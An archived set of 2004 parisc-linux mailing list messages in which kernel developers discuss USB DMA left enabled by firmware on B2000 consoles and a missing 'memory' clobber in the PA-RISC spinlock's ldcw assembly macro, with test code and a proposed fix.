	id 1AkLfq-0004xj-Fl; Sat, 24 Jan 2004 12:09:58 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20040123194531.GA30221@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 24 Jan 2004 11:10:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20684

Grant,



Grant Grundler wrote:
> On Fri, Jan 23, 2004 at 07:54:44PM +0100, Joel Soete wrote:
> 
>>>AFAIK, the memcpy just enables the PDC to use a serial console.
>>
>>Hmm we didn't 'relocate' PDC (as see hpux makes), so all those information
>>are fill in by PDC prgm itself? So if Console is flagged CL_DUP, I don't
>>see why do we have to make this memcpy?
> 
> 
> I don't pretend to understand how PDC uses page zero.
> Any takers on explaining what the memcopy does?
> 
> 
>>>Anyway, Figuring out some additional info could help:
>>>  (a) know which devices migh have DMA enabled when the OS gets control
>>
>>May be the console itself (by continuously reading the kdb eg)?
> 
> 
> 
>>>  (b) disable just the DMA
>>
>>where should I look to disable so console dma?
> 
> 
> In the B2k's case the USB keyboard is the console input device
> and USB does DMA. Right?

ok (if a usb kbd is connected ;) )

> That means the console can not be active when we reprogram
> the IOMMU.
> 
> If the console is the serial port, then we should be able to disable
> just the USB device and not impact the Serial ports.

hmm afaik usb ports on a b2k (and I presume for the same family) are just there
(iirc the user guide and spec) to be used only for usb kbd and mouse
and so if no usb kbd was found by pdc we could just disable usb at all?

Thanks again for info and patience,
	Joel



From - Thu Nov 08 21:30:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] missing barrier in _raw_spin_lock?
Date: Sat, 24 Jan 2004 20:52:22 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <4012DB06.5010600@tiscali.be>
References: <200401231609.56800.arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623145 4808 80.91.229.3 (22 Nov 2014 02:25:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: soete.joel@tiscali.be  Sat Jan 24 13:50:19 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1BF8B488A
	for <parisc-linux@parisc-linux.org>;
	Sat, 24 Jan 2004 13:50:19 -0700 (MST)
Original-Received: from [62.235.121.136] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AkUjR-0004i4-Ia; Sat, 24 Jan 2004 21:50:17 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <200401231609.56800.arnd@arndb.de>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 24 Jan 2004 20:50:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20685



Arnd Bergmann wrote:
> We stumbled over a problem on s390 that can cause random memory corruption
> under high load on SMP. It turned out to be a missing on :"memory" clobber
> on the _raw_spin_lock primitive.
> 
> As far as I can see, the same problem is in the parisc spinlock definition
> in linux-2.6.1, but none of the other architectures.
> 
> The code below demonstrates the problem. With the broken spinlock, the
> compiler does not emit code for the second "if" or for the assignment.
> Similar code can be found in mempool_free().
> 
> 	Arnd <><
> 
> ----
> #include <linux/spinlock.h>
> 
hmm yet another stupid question of mine: what would we have to use _linux_/spinlock.h or _asm_/spinlock.h

Thanks in advance,
	Joel


> static int x;
> static spinlock_t lock;
> 
> void test(void)
> {
>         if (x) {
>                 spin_lock(&lock);
>                 if (!x)
>                         x = 0x1234;
>                 spin_unlock(&lock);
>         }
> }
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


From - Thu Nov 08 21:30:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B2k and CONFIG_PDC_CONSOLE pb: followup
Date: Sat, 24 Jan 2004 14:03:20 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20040124210320.GA16272@colo.lackof.org>
References: <20040122053112.GB6468@colo.lackof.org>
	<400D3BEE0000294D@ocpmta1.freegates.net>
	<20040123194531.GA30221@colo.lackof.org>
	<40125302.5050600@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623146 4813 80.91.229.3 (22 Nov 2014 02:25:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Sat Jan 24 14:03:21 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD56E488A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 24 Jan 2004 14:03:21 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 30E472980A3; Sat, 24 Jan 2004 14:03:21 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16150-05; Sat, 24 Jan 2004 14:03:20 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 88FBF29802B; Sat, 24 Jan 2004 14:03:20 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <40125302.5050600@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 24 Jan 2004 21:03:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20686

On Sat, Jan 24, 2004 at 11:12:02AM +0000, Joel Soete wrote:
> >If the console is the serial port, then we should be able to disable
> >just the USB device and not impact the Serial ports.
> 
> hmm afaik usb ports on a b2k (and I presume for the same family) are just 
> there (iirc the user guide and spec) to be used only for usb kbd and mouse

I think that's all PDC and HPUX know how to talk to.
That's all HP will support or warrant.

But it's a USB port and if other devices work, use it.

> and so if no usb kbd was found by pdc we could just disable usb at all?

The problem is USB is doing DMA and was enabled by PDC.
I don't care what's connected (Keyboard vs digital camera).

grant


From - Thu Nov 08 21:30:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] missing barrier in _raw_spin_lock?
Date: Sat, 24 Jan 2004 21:07:36 +0000
Lines: 58
Approved: news@gmane.org
Message-ID: <4012DE98.9090605@tiscali.be>
References: <200401231609.56800.arnd@arndb.de> <4012DB06.5010600@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623146 4816 80.91.229.3 (22 Nov 2014 02:25:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:46 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: soete.joel@tiscali.be  Sat Jan 24 14:05:32 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABD2B488A
	for <parisc-linux@parisc-linux.org>;
	Sat, 24 Jan 2004 14:05:32 -0700 (MST)
Original-Received: from [62.235.121.136] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AkUyB-0005nT-H7; Sat, 24 Jan 2004 22:05:31 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <4012DB06.5010600@tiscali.be>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 24 Jan 2004 21:05:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20687



Joel Soete wrote:
> 
> 
> Arnd Bergmann wrote:
> 
>> We stumbled over a problem on s390 that can cause random memory 
>> corruption
>> under high load on SMP. It turned out to be a missing on :"memory" 
>> clobber
>> on the _raw_spin_lock primitive.
>>
>> As far as I can see, the same problem is in the parisc spinlock 
>> definition
>> in linux-2.6.1, but none of the other architectures.
>>
>> The code below demonstrates the problem. With the broken spinlock, the
>> compiler does not emit code for the second "if" or for the assignment.
>> Similar code can be found in mempool_free().
>>
>>     Arnd <><
>>
>> ----
>> #include <linux/spinlock.h>
>>
> hmm yet another stupid question of mine: what would we have to use 
> _linux_/spinlock.h or _asm_/spinlock.h
Oops appologies: the answer is in linux/spinlock (i was just confused because for my c110 I didn't configure SMP)

Thanks for your understand,
	Joel

> 
> Thanks in advance,
>     Joel
> 
> 
>> static int x;
>> static spinlock_t lock;
>>
>> void test(void)
>> {
>>         if (x) {
>>                 spin_lock(&lock);
>>                 if (!x)
>>                         x = 0x1234;
>>                 spin_unlock(&lock);
>>         }
>> }
>>
>> _______________________________________________
>> parisc-linux mailing list
>> parisc-linux@lists.parisc-linux.org
>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>
> 


From - Thu Nov 08 21:30:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] missing barrier in _raw_spin_lock?
Date: Sat, 24 Jan 2004 16:15:44 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200401242115.i0OLFjQ5009570@hiauly1.hia.nrc.ca>
References: <4012DE98.9090605@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623146 4819 80.91.229.3 (22 Nov 2014 02:25:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:46 +0000 (UTC)
Cc: arnd@arndb.de, parisc-linux@parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Jan 24 14:15:49 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DE59488A
	for <parisc-linux@parisc-linux.org>;
	Sat, 24 Jan 2004 14:15:49 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i0OLFjg4009572; Sat, 24 Jan 2004 16:15:46 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i0OLFjQ5009570;
	Sat, 24 Jan 2004 16:15:45 -0500 (EST)
In-Reply-To: <4012DE98.9090605@tiscali.be> from "Joel Soete" at Jan 24,
	2004 09:07:36 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 24 Jan 2004 21:15:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20688

> >> static int x;
> >> static spinlock_t lock;
> >>
> >> void test(void)
> >> {
> >>         if (x) {
> >>                 spin_lock(&lock);
> >>                 if (!x)
> >>                         x = 0x1234;
> >>                 spin_unlock(&lock);
> >>         }
> >> }

The test is wrong.  Static variables are initialized to 0.  So, the first
`if' is never true and the code will optimize to a return instruction.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] missing barrier in _raw_spin_lock?
Date: Sat, 24 Jan 2004 18:37:49 -0700
Lines: 89
Approved: news@gmane.org
Message-ID: <20040125013749.GC16272@colo.lackof.org>
References: <4012DE98.9090605@tiscali.be>
	<200401242115.i0OLFjQ5009570@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623146 4822 80.91.229.3 (22 Nov 2014 02:25:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:46 +0000 (UTC)
Cc: arnd@arndb.de, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: grundler@lackof.org  Sat Jan 24 18:37:51 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B85C4855
	for <parisc-linux@parisc-linux.org>;
	Sat, 24 Jan 2004 18:37:51 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 635252980A3; Sat, 24 Jan 2004 18:37:50 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 18976-02; Sat, 24 Jan 2004 18:37:49 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 85BDD29802B; Sat, 24 Jan 2004 18:37:49 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200401242115.i0OLFjQ5009570@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 25 Jan 2004 01:37:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20689

On Sat, Jan 24, 2004 at 04:15:44PM -0500, John David Anglin wrote:
> > >> static int x;
> > >> static spinlock_t lock;
...
> The test is wrong.  Static variables are initialized to 0.  So, the first
> `if' is never true and the code will optimize to a return instruction.

In any case, that should be
	static spinlock_t lock = SPIN_LOCK_UNLOCKED;

(On parisc UNLOCKED == 1, not 0 like the rest of the world)

Is gcc really that smart that it knows static variables are 0?
The would be amazing to me because I thought linker magic could
twiddle stuff like this. Anyway, gcc doesn't seem to be that smart:

# diff t1.c t2.c
3c3
< static int x=1;
---
> static int x;

# diff t1.S t2.S
3,7d2
<       .align 4
<       .type   x, @object
<       .size   x, 4
< x:
<       .word   1
54a50,51
>       .local  x
>       .comm   x,4,4


BTW, the .S diff is the same for both -O2 and -O3 output.
Maybe other compile options would further optimize.


Arndt,
In any case, thanks for raising the issue.
I hadn't looked at the asm code in a long time.

The key bit is __ldcw() in asm/system.h:

/* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
#define __ldcw(a) ({ \
        unsigned __ret; \
        __asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
        __ret; \
})

I suspect (but am not certain) Arnd is right.
We indicate __ret is getting clobbered (=r) and that 'a' is an input ("r").
I don't see anything indicating we changed the memory location.

But I don't see the problem.  The t2.S output looks correct.
The "if (!x) {...}" code is generated:

...
.L18:
        ldw RR'x-$global$(%r21),%r20
        comib,<> 0,%r20,.L13
        ldi 4660,%r25
        stw %r25,RR'x-$global$(%r21)
...

BTW, PARISC still doesn't support CONFIG_SMP (cpu init sequence)
on 2.6 kernels. SMP works (mostly) on 2.4 kernels.

Here's how I generated t1.S output and it's not completely trivial.
One has to:
	o cp /usr/src/linux-2.6/include/linux/autoconf.h ./linux/
	o vi linux/autoconf.hl
		- change "#undef CONFIG_SMP" to #define
		- add "#define CONFIG_NR_CPUS 4"
	o gcc -O3 -I. -I/usr/src/linux-2.6/include/ -S t1.c -o t1.S

I've put the whole mess on
	http://iou.parisc-linux.org/~grundler/asm-memory/


BTW, I notice several other asm() in linux/asm-parisc/system.h which
specify ': "memory"' but the instructions used are register only.
Notably the ssm/rsm/mtsm insn's.
Any comment if those asm() *do NOT* need ': "memory"'?

thanks,
grant


From - Thu Nov 08 21:30:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] missing barrier in _raw_spin_lock?
Date: Sun, 25 Jan 2004 01:13:10 -0500 (EST)
Lines: 81
Approved: news@gmane.org
Message-ID: <200401250613.i0P6DAIf010964@hiauly1.hia.nrc.ca>
References: <20040125013749.GC16272@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623147 4825 80.91.229.3 (22 Nov 2014 02:25:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:47 +0000 (UTC)
Cc: arnd@arndb.de, parisc-linux@parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Jan 24 23:13:13 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id E7824484B; Sat, 24 Jan 2004 23:13:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i0P6DAg4010965; Sun, 25 Jan 2004 01:13:11 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i0P6DAIf010964;
	Sun, 25 Jan 2004 01:13:10 -0500 (EST)
In-Reply-To: <20040125013749.GC16272@colo.lackof.org> from "Grant Grundler" at
	Jan 24, 2004 06:37:49 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 25 Jan 2004 06:13:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20690

>  Anyway, gcc doesn't seem to be that smart:

Right, it not that smart but it does optimize certain memory references.

> The key bit is __ldcw() in asm/system.h:
> 
> /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
> #define __ldcw(a) ({ \
>         unsigned __ret; \
>         __asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
>         __ret; \
> })

In some version of pthreads, we used

#define __ldcw(a) ({ \
  unsigned int __ret;                                                   \
  __asm__ __volatile__("ldcw 0(%2),%0"                                  \
		      : "=r" (__ret), "=m" (*(a)) : "r" (a));           \
  __ret;                                                                \
})

This tells gcc explicitly what memory is affected by the asm.  However,
it doesn't provide a memory barrier.  I think this isn't necessary in
pthreads because it provides a separate macro define for this.

This is what the gcc documentation says about asms:

If your assembler instructions access memory in an unpredictable
fashion, add `memory' to the list of clobbered registers.  This
will cause GCC to not keep memory values cached in registers across the
assembler instruction and not optimize stores or loads to that memory.
You will also want to add the `volatile' keyword if the memory
affected is not listed in the inputs or outputs of the `asm', as
the `memory' clobber does not count as a side-effect of the
`asm'.  If you know how large the accessed memory is, you can add
it as input or output but if this is not known, you should add
`memory'.  As an example, if you access ten bytes of a string, you
can use a memory input like:

> I suspect (but am not certain) Arnd is right.
> We indicate __ret is getting clobbered (=r) and that 'a' is an input ("r").
> I don't see anything indicating we changed the memory location.

It's not really the memory accessed by the ldcw that's at issue here.
If `x' is a location that can change between the first test and a successful
lock (SMP), then you want a memory barrier in __ldcw so that the memory
value of x is not cached in a register across the lock.

The following revision to the test program demonstrates the problem
of a memory value carried into the lock.

#include <linux/spinlock.h>

static spinlock_t lock = SPIN_LOCK_UNLOCKED;

void test(int *x)
{
  if (*x)
    {
      spin_lock(&lock);
      if (!*x)
	*x = 0x1234;
      spin_unlock(&lock);
    }
}

We need the "memory" clobber in SMP.  I think the macro should be:

#define __ldcw(a) ({ \
  unsigned int __ret;							 \
  __asm__ __volatile__("ldcw 0(%2),%0"					 \
		      : "=r" (__ret), "=m" (*(a)) : "r" (a) : "memory"); \
  __ret;								 \
})

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <arndb@onlinehome.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] missing barrier in _raw_spin_lock?
Date: Sun, 25 Jan 2004 18:10:01 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <26879984$10750505064013f80a9ea842.79929993@config4.schlund.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623147 4829 80.91.229.3 (22 Nov 2014 02:25:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:47 +0000 (UTC)
Cc: =?iso-8859-1?Q?Grant_Grundler?= <grundler@parisc-linux.org>, arnd@arndb.de,
	parisc-linux@parisc-linux.org
To: =?iso-8859-1?Q?John_David_Anglin?= <dave@hiauly1.hia.nrc.ca>
Original-X-From: arndb@onlinehome.de  Sun Jan 25 10:12:06 2004
Return-Path: <arndb@onlinehome.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de
	[212.227.126.176]) by dsl2.external.hp.com (Postfix) with ESMTP
	id B251F484B; Sun, 25 Jan 2004 10:12:05 -0700 (MST)
Original-Received: from [212.227.126.202] (helo=mrvnet.kundenserver.de)
	by moutng.kundenserver.de with esmtp (Exim 3.35 #1)
	id 1Aknnl-0004Ie-00; Sun, 25 Jan 2004 18:12:01 +0100
Original-Received: from [172.23.4.131] (helo=config4.kundenserver.de)
	by mrvnet.kundenserver.de with esmtp (Exim 3.35 #1)
	id 1Aknnl-0007CK-00; Sun, 25 Jan 2004 18:12:01 +0100
Original-Received: from www-data by config4.kundenserver.de with local (Exim 3.35 #1
	(Debian)) id 1Aknnl-0005yR-00; Sun, 25 Jan 2004 18:12:01 +0100
X-Binford: 6100 (more power)
X-Originating-From: 26879984
X-Mailer: Webmail
X-Routing: DE
X-Received: from config4 by 80.138.133.151 with HTTP id 26879984 for
	dave@hiauly1.hia.nrc.ca; Sun, 25 Jan 2004 18:10:01 +0100
X-Priority: 3
X-Provags-ID: kundenserver.de abuse@kundenserver.de ident:@172.23.4.131
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
